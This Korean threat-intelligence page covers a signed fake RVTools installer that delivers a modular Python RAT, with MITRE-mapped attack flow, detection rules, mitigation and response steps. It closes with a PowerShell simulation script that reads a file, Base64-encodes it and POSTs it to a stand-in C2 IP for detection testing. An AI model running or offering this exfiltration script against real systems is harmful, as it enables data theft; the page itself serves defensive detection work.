RVTools 위장: 서명된 가짜 설치 프로그램이 모듈식 파이썬 RAT를 배포하는 방법
Detection stack
- AIDR
- Alert
- ETL
- Query
요약
정상적인 인증서로 서명된 악성 MSI 설치 프로그램이 VMware 관리자가 사용하는 RVTools 유틸리티로 가장합니다. 실행되면 설치 프로그램은 Dropbox에서 대용량 ZIP 아카이브를 다운로드하기 위해 PowerShell을 실행하는 VBScript를 내리게 됩니다. 해당 아카이브에는 정찰, 지속성, 하드코딩된 명령 및 제어 서버와의 통신이 가능한 다단계 RAT를 실행하는 포터블 파이썬 환경이 포함되어 있습니다.
조사
분석 결과, MSI는 사용자 정의 VBScript 동작으로 추적되었으며, Binary.MyScript.vbs, 이는 난독화된 PowerShell 명령을 디코딩했습니다. 해당 명령은 winp.zip 페이로드를 %APPDATA%에 다운로드하고, collector.py and Pmanager.py와 같은 Python 구성 요소 및 스크립트를 추출하며, 재부팅 후 레지스트리 Run 키와 예약 작업을 통해 지속성을 확보했습니다. 연구자들은 또한 RAT가 수집된 데이터를 RC4로 암호화하고 5분 간격으로 다섯 개의 고정된 IP 주소로 비콘을 전송했다는 것을 발견했습니다.
완화
조직은 라이브 OCSP 또는 CRL 체크로 엄격한 코드 서명 검증을 시행하고, 신뢰할 수 없는 MSI 실행을 차단하며, 설치 프로그램에 포함된 의심스러운 VBScript 사용자 정의 동작을 모니터링해야 합니다. 방어자는 다운로드된 스크립트의 자동 실행을 방지하고, 새로운 Run 키 항목 및 예약 작업 생성을 주시하며, 낯선 하드코딩된 IP 주소로 향하는 아웃바운드 트래픽에서 경고를 발생시켜야 합니다.
대응
이 활동이 감지되면 즉시 영향을 받은 엔드포인트를 격리하고, MSI, VBScript 및 추출된 페이로드 파일을 법의학 분석을 위해 수집한 다음, Run 키 및 예약 작업을 포함한 모든 지속성 아티팩트를 삭제합니다. 식별된 명령제어 IP 주소는 방화벽에서 차단되어야 하며, 인증 정보 및 Active Directory 활동에 대한 광범위한 검토를 수행하여 횡적 이동이 발생했는지 확인해야 합니다.
"graph TB %% 클래스 정의 classDef phase fill:#99ccff classDef technique fill:#ffcc99 classDef tool fill:#cccccc classDef artifact fill:#e0e0e0 classDef persistence fill:#c2f0c2 classDef c2 fill:#f9c2c2 classDef evasion fill:#f0e68c %% 단계 phase_initial_access["<b>단계</b>: 초기 액세스<br/><b>행동</b> – 피해자가 RVTools로 가장한 서명된 악성 MSI를 실행."] class phase_initial_access phase phase_execution["<b>단계</b>: 실행<br/><b>행동</b> – MSI는 Msiexec를 사용하여 숨겨진 PowerShell 다운로드 프로그램을 실행하는 VBScript를 실행."] class phase_execution phase phase_payload["<b>단계</b>: 페이로드 배포<br/><b>행동</b> – 아카이브가 collector.py 및 manager.py가 포함된 포터블 WinPython 환경으로 풀어집니다."] class phase_payload phase phase_persistence["<b>단계</b>: 지속성<br/><b>행동</b> – Python 관리자는 레지스트리 Run 키, Scheduled Task 및 Active Setup 항목을 만듭니다."] class phase_persistence phase phase_c2["<b>단계</b>: 명령과 제어<br/><b>행동</b> – 수집된 데이터가 아카이브되고, RC4로 암호화되어 하드코드된 IP로 HTTP POST를 통해 유출됩니다."] class phase_c2 phase phase_evasion["<b>단계</b>: 방어 회피<br/><b>행동</b> – 서명된 바이너리, 프록시 실행, 및 탐지를 우회하기 위한 문자 난독화를 사용합니다."] class phase_evasion phase %% 초기 액세스 기술 tech_user_execution["<b>기술</b> T1204.002 사용자 실행: 악성 파일<br/>피해자는 자신이 합법적이라고 믿는 악성 파일을 실행합니다."] class tech_user_execution technique tech_masquerading["<b>기술</b> T1036.001 가장하기<br/>바이너리는 합법적인 유틸리티(RVTools)처럼 서명되고 이름이 지정됩니다."] class tech_masquerading technique tech_trusted_dev_proxy["<b>기술</b> T1127 신뢰할 수 있는 개발자 유틸리티 프록시 실행<br/>서명된 바이너리를 사용하여 평판 검사를 우회합니다."] class tech_trusted_dev_proxy technique %% 실행 기술 tech_msiexec_proxy["<b>기술</b> T1218.007 시스템 바이너리 프록시 실행: Msiexec<br/>Msiexec가 악성 MSI를 실행하도록 호출됩니다."] class tech_msiexec_proxy technique tech_vbscript["<b>기술</b> T1059.005 명령 및 스크립팅 인터프리터: 비주얼 베이직<br/>사용자 정의 작업이 VBScript 페이로드를 실행."] class tech_vbscript technique tech_powershell["<b>기술</b> T1059.001 명령 및 스크립팅 인터프리터: PowerShell<br/>VBScript가 숨겨진 PowerShell 다운로드 명령을 디코드하고 실행합니다."] class tech_powershell technique %% 페이로드 배포 기술 tech_archive_custom["<b>기술</b> T1560.003 아카이브 수집된 데이터: 사용자 정의 방법으로 아카이브<br/>33MB zip (winp.zip)이 다운로드되어 포터블 파이썬 환경을 만듭니다."] class tech_archive_custom technique %% 지속성 기술 tech_registry_run["<b>기술</b> T1037.004 부팅 또는 로그온 초기화 스크립트: 레지스트리 실행<br/>레지스트리 Run 키는 시작 시 manager.py를 실행하기 위해 생성됩니다."] class tech_registry_run persistence tech_scheduled_task["<b>기술</b> T1053 예약 작업/작업<br/>일일 예약 작업이 SYSTEM 권한으로 실행되도록 생성됩니다."] class tech_scheduled_task persistence tech_active_setup["<b>기술</b> T1547.014 부팅 또는 로그온 자동 시작 실행: Active Setup<br/>모든 사용자를 위한 실행을 보장하기 위해 Active Setup 항목이 추가됩니다."] class tech_active_setup persistence tech_hijack_execution["<b>기술</b> T1574 실행 흐름 탈취<br/>예약 작업이 정상 실행 경로를 탈취하는 데 사용됩니다."] class tech_hijack_execution evasion %% 명령 및 제어 기술 tech_exfil_unencrypted["<b>기술</b> T1048.003 암호화되지 않은 비C2 프로토콜을 통한 유출<br/>데이터는 HTTP POST를 통해 하드코드된 IP 주소로 전송됩니다."] class tech_exfil_unencrypted c2 tech_exfil_asymmetric["<b>기술</b> T1048.002 비대칭 암호화된 비C2 프로토콜을 통한 유출<br/>전송 전에 데이터가 RC4로 암호화됩니다."] class tech_exfil_asymmetric c2 %% 방어 회피 기술 tech_system_script_proxy["<b>기술</b> T1216.002 시스템 스크립트 프록시 실행: SyncAppvPublishingServer<br/>신뢰할 수 있는 스크립트가 프록시 역할을 하여 악성 활동을 숨깁니다."] class tech_system_script_proxy evasion tech_system_binary_proxy["<b>기술</b> T1218 시스템 바이너리 프록시 실행<br/>서명된 유틸리티(Msiexec)가 애플리케이션 제어를 우회하기 위해 악용됩니다."] class tech_system_binary_proxy evasion %% 아티팩트 artifact_msi["<b>아티팩트</b>: malicious_RVTools.msi<br/>초기 액세스를 위한 서명된 MSI."] class artifact_msi artifact artifact_zip["<b>아티팩트</b>: winp.zip<br/>포터블 WinPython을 포함한 Dropbox 호스팅 아카이브."] class artifact_zip artifact artifact_python_env["<b>아티팩트</b>: WinPython 환경<br/>정찰을 위한 collector.py 및 manager.py를 포함합니다."] class artifact_python_env artifact artifact_registry_key["<b>아티팩트</b>: 레지스트리 실행 키<br/>HKCUSoftwareMicrosoftWindowsCurrentVersionRunWinPythonMgr"] class artifact_registry_key artifact artifact_scheduled_task["<b>아티팩트</b>: 예약 작업<br/>이름: WinPythonDaily, SYSTEM으로 실행됩니다."] class artifact_scheduled_task artifact artifact_active_setup["<b>아티팩트</b>: Active Setup 항목<br/>HKLMSoftwareMicrosoftActive SetupInstalled ComponentsWinPython"] class artifact_active_setup artifact artifact_c2_ip["<b>아티팩트</b>: C2 IP 주소<br/>HTTP를 통해 연락되는 하드코드된 IPv4 주소."] class artifact_c2_ip artifact %% 연결 phase_initial_access –>|uses| tech_user_execution phase_initial_access –>|uses| tech_masquerading phase_initial_access –>|uses| tech_trusted_dev_proxy phase_initial_access –>|delivers| artifact_msi tech_user_execution –>|executes| artifact_msi tech_masquerading –>|enables| artifact_msi tech_trusted_dev_proxy –>|bypasses| artifact_msi phase_execution –>|leverages| tech_msiexec_proxy tech_msiexec_proxy –>|runs| tech_vbscript tech_vbscript –>|launches| tech_powershell tech_powershell –>|downloads| artifact_zip artifact_zip –>|unpacked to create| artifact_python_env phase_payload –>|contains| artifact_python_env phase_persistence –>|creates| tech_registry_run phase_persistence –>|creates| tech_scheduled_task phase_persistence –>|creates| tech_active_setup phase_persistence –>|uses| tech_hijack_execution tech_registry_run –>|writes| artifact_registry_key tech_scheduled_task –>|creates| artifact_scheduled_task tech_active_setup –>|writes| artifact_active_setup phase_c2 –>|archives and encrypts data| tech_archive_custom tech_archive_custom –>|sends via| tech_exfil_unencrypted tech_exfil_unencrypted –>|uses| artifact_c2_ip tech_exfil_unencrypted –>|also uses| tech_exfil_asymmetric phase_evasion –>|applies| tech_system_script_proxy phase_evasion –>|applies| tech_system_binary_proxy tech_system_binary_proxy –>|facilitates| tech_msiexec_proxy tech_system_script_proxy –>|facilitates| tech_vbscript "
공격 흐름
탐지
LOLBAS WScript / CScript (프로세스 생성)
보기
의심스러운 폴더에서 파이썬 실행 (cmdline 통해)
보기
숨겨진 PowerShell 명령줄을 통한 실행 가능성 (cmdline 통해)
보기
PowerShell을 사용하여 의심스러운 디렉터리로 추출된 아카이브 (powershell 통해)
보기
정상적이지 않은 프로세스에 의해 시작된 가능성 있는 Dropbox API 하위 도메인 DNS 조회 (dns_query 통해)
보기
IOC (HashSha256) 탐지: RVTools의 가장: 서명된 가짜 설치 프로그램이 모듈식 파이썬 RAT를 배포하는 방법
보기
IOC (HashMd5) 탐지: RVTools의 가장: 서명된 가짜 설치 프로그램이 모듈식 파이썬 RAT를 배포하는 방법
보기
하드코드된 IP 및 HTTP POST를 통한 데이터 유출 탐지 [Windows 네트워크 연결]
보기
악성 PowerShell 숨김 실행 및 Invoke-WebRequest 탐지 [Windows Powershell]
보기
의심스러운 RVTools 가짜 설치 프로그램 파이썬 RAT 배포 [Windows 프로세스 생성]
보기
시뮬레이션 실행
필수 요구 사항: 원격 측정 및 기준선 사전 점검이 통과되어야 합니다.
이유: 이 섹션은 탐지 규칙을 트리거하기 위해 설계된 적의 기술(TTP)에 대한 정확한 실행을 설명합니다. 명령과 내러티브는 식별된 TTP를 직접 반영해야 하며, 탐지 논리에 의해 예상되는 정확한 원격 측정을 생성하는 것을 목표로 합니다.
-
공격 내러티브 및 명령:
피해자의 시스템에 이미 발판을 마련한 적대자는 소형 데이터 세트(예:C:Tempsecret.txt)를 유출하기로 결정합니다. 일반적인 아웃바운드 트래픽 경고를 피하기 위해, 행위자는 PowerShell 한 줄 요약을 사용하여 하드코드된 C2 IP 중 하나에 직접 HTTP POST를 수행합니다 (192.0.2.10). 해당 명령은 Windows 예약 작업 을 통해 예약되어 지속성을 보장합니다(T1546.013). 추가로 설치되는 바이너리는 없으며, 활동은 ‘행동을 녹아들도록’ 합니다. -
회귀 테스트 스크립트:
# ------------------------------------------------- # PowerShell 스크립트 – 하드코드된 IP를 통한 데이터 유출 # ------------------------------------------------- $c2Ip = "192.0.2.10" $c2Port = 80 $uri = "http://$c2Ip/exfil" $file = "C:Tempsecret.txt" # 파일이 존재하는지 확인(테스트를 위한 더미 데이터 생성) if (-Not (Test-Path $file)) { "민감 데이터 $(Get-Date)" | Out-File -FilePath $file -Encoding ASCII } # 파일 내용을 읽고 Base64로 인코딩 $payload = [Convert]::ToBase64String([IO.File]::ReadAllBytes($file)) # HTTP POST 수행 $body = @{ data = $payload } try { Invoke-WebRequest -Uri $uri -Method POST -Body $body -UseBasicParsing -TimeoutSec 10 Write-Host "유출 시도 $c2Ip로 전송됨" } catch { Write-Error "유출 실패: $_" } -
정리 명령:
# 더미 파일 삭제 Remove-Item -Path "C:Tempsecret.txt" -Force -ErrorAction SilentlyContinue # 테스트를 위해 생성된 예약 작업 삭제(있는 경우) $taskName = "DataExfilTask" if (Get-ScheduledTask -TaskName $taskName -ErrorAction SilentlyContinue) { Unregister-ScheduledTask -TaskName $taskName -Confirm:$false }